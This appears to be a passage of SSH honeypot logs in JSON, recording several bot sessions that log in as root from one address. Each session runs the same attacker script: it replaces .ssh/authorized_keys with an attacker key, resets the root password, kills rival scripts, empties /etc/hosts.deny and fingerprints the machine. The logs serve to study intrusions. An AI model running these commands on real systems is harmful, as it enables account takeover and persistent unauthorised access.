-m"},{"seq":18,"at":"2026-08-27T07:22:04.169463+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:22:04.503339+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:22:04.886144+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:22:05.221515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:22:05.697964+00:00","kind":"output","latency_ms":null,"data":"top - 07:22:05 up 7 days, 4:12, 0 user, load average: 0.3, 0.23, 0.2\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:22:06.033240+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:22:06.375429+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:22:06.713950+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:22:07.277168+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:22:07.611992+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:22:07.998919+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:22:08.335091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:22:09.740585+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:22:10.074327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:22:11.807943+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"newpassword123","method":"password","accepted":true,"tier":"other"}]} {"id":"8477a6bd-07cb-4fd4-979f-12cccb1b9c57","name":"gnarled-cosmic-goose","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":35846,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:20:03.763769+00:00","ended_at":"2026-08-27T07:20:05.167051+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-27T07:19:44.772694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:19:45.093301+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:19:50.034205+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:19:50.727829+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:19:51.051636+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1Ry2kjdEa9Zs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:19:51.374494+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:19:51.699398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:19:52.244897+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:19:52.581137+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:19:53.906509+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:19:54.235239+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:19:55.177647+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:19:55.504130+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:19:56.175449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:19:56.499722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:19:56.979200+00:00","kind":"output","latency_ms":null,"data":" 07:19:56 up 7 days, 4:10, 0 user, load average: 0.35, 0.27, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:19:57.302389+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:19:57.969455+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:19:58.293754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:19:58.749494+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:19:59.074840+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:19:59.635899+00:00","kind":"output","latency_ms":null,"data":"top - 07:19:59 up 7 days, 4:10, 0 user, load average: 0.35, 0.27, 0.26\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:19:59.966067+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:20:00.467759+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:20:00.796200+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:20:01.082428+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:20:01.406587+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:20:02.138316+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:20:02.459274+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:20:03.440276+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:20:03.764646+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:20:05.071809+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"666999","method":"password","accepted":true,"tier":"other"}]} {"id":"abd3c6b5-7436-4da3-979d-4c48f8db5de7","name":"subtle-steady-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42436,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:09:47.536725+00:00","ended_at":"2026-08-27T07:09:49.079769+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T07:09:28.306488+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:09:28.640585+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:09:33.694125+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:09:34.033469+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:09:34.367767+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbxwGO0wiSgj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:09:34.699846+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:09:35.032417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:09:35.527609+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:09:35.860368+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:09:37.247462+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:09:37.582725+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:09:38.979666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:09:39.316001+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:09:39.760661+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:09:40.096200+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:09:40.488729+00:00","kind":"output","latency_ms":null,"data":" 07:09:40 up 7 days, 3:59, 0 user, load average: 0.25, 0.24, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:09:40.824094+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:09:41.514319+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:09:41.847665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:09:42.106428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:09:42.440556+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:09:42.974414+00:00","kind":"output","latency_ms":null,"data":"top - 07:09:42 up 7 days, 3:59, 0 user, load average: 0.25, 0.24, 0.29\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:09:43.307820+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:09:44.200678+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:09:44.538265+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:09:44.850916+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:09:45.184184+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:09:45.847139+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:09:46.180101+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:09:47.203596+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:09:47.537664+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:09:48.979494+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789root","method":"password","accepted":true,"tier":"other"}]} {"id":"432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6","name":"ashen-lofty-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":40314,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:03:36.617750+00:00","ended_at":"2026-08-27T07:03:37.835051+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T07:03:19.140838+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:03:19.470302+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:03:22.296501+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:03:22.875788+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:03:23.209146+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YDqfP8qzYkhm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:03:23.542206+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:03:23.875771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:03:24.402103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:03:24.735704+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:03:25.575777+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:03:25.911467+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:03:27.038948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:03:27.386124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:03:27.697455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:03:28.034369+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:03:28.575728+00:00","kind":"output","latency_ms":null,"data":" 07:03:28 up 7 days, 3:53, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:03:28.909742+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:03:29.400369+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:03:29.734293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:03:30.535091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:03:30.869450+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:03:31.625693+00:00","kind":"output","latency_ms":null,"data":"top - 07:03:31 up 7 days, 3:53, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:03:31.959398+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:03:32.839433+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:03:33.172548+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:03:33.462069+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:03:33.796251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:03:34.455542+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:03:34.787947+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:03:36.285814+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:03:36.618545+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:03:37.739581+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789.com","method":"password","accepted":true,"tier":"other"}]} {"id":"98796246-8261-44f3-a812-1a7c50633a0e","name":"crystal-crimson-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57732,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:59:18.510870+00:00","ended_at":"2026-08-27T06:59:20.656529+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T06:58:58.161601+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:58:58.511777+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:59:03.423304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:59:04.243770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:59:04.593593+00:00","kind":"input","latency_ms":null,"data":"echo \"root:hNvxeFlEsQRF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:59:04.941650+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:59:05.290506+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:59:05.954543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:59:06.305912+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:59:07.478875+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:59:07.835349+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:59:08.966878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:59:09.318392+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:59:09.634681+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:59:09.984938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:59:10.651283+00:00","kind":"output","latency_ms":null,"data":" 06:59:10 up 7 days, 3:49, 0 user, load average: 0.11, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:59:11.000679+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:59:11.543327+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:59:11.891564+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:59:12.444733+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:59:12.797088+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:59:13.233357+00:00","kind":"output","latency_ms":null,"data":"top - 06:59:13 up 7 days, 3:49, 0 user, load average: 0.11, 0.11, 0.09\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:59:13.582190+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:59:14.481872+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:59:14.831502+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:59:15.491172+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:59:15.840627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:59:16.470482+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:59:16.822053+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:59:18.162989+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:59:18.511783+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 